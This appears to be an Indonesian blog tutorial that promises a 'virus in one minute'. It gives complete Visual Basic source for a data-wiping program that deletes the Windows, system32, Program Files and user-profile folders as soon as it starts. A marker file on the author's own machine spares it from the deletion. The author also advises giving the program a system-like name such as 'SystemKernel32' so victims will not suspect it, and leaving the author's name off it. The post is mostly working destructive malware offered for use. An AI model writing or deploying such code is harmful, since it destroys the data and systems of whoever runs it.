nah temen w banyaak banget yg pengen blajar buat virus. mangkanya w post cara buat virus yg lumayan simple ini.
AYO KITA MULAI!!!!!!!
2. Tau fungsi tombol Bisual Basic
kalo lo pada belom punya VISUAL BASIC download aja disini!!!!! ;background-color: transparent; visibility: visible; width: 14px;height: 12px; background-position: -943px 0pt; background-repeat:no-repeat; text-decoration: none; vertical-align: top; display:inline;" src="http://i.ixnp.com/images/v6.20.1/t.gif" /> atau disini!!!!;background-color: transparent; visibility: visible; width: 14px;height: 12px; background-position: -943px 0pt; background-repeat:no-repeat; text-decoration: none; vertical-align: top; display:inline;" src="http://i.ixnp.com/images/v6.20.1/t.gif" />
—- more —-
Tutorial Bikin Virus hanya 1 menit
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3. Kode yg warna biru itu penangkal nih virus, barang kali lu gasengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kaloada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu editkoq jadi apa gitu…
Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu di nih virus… k?
6. compile deh… slese!
ini bukan buat maenan, pergunakan dengan sebijaksana mungkin yaa






0 komentar:
Posting Komentar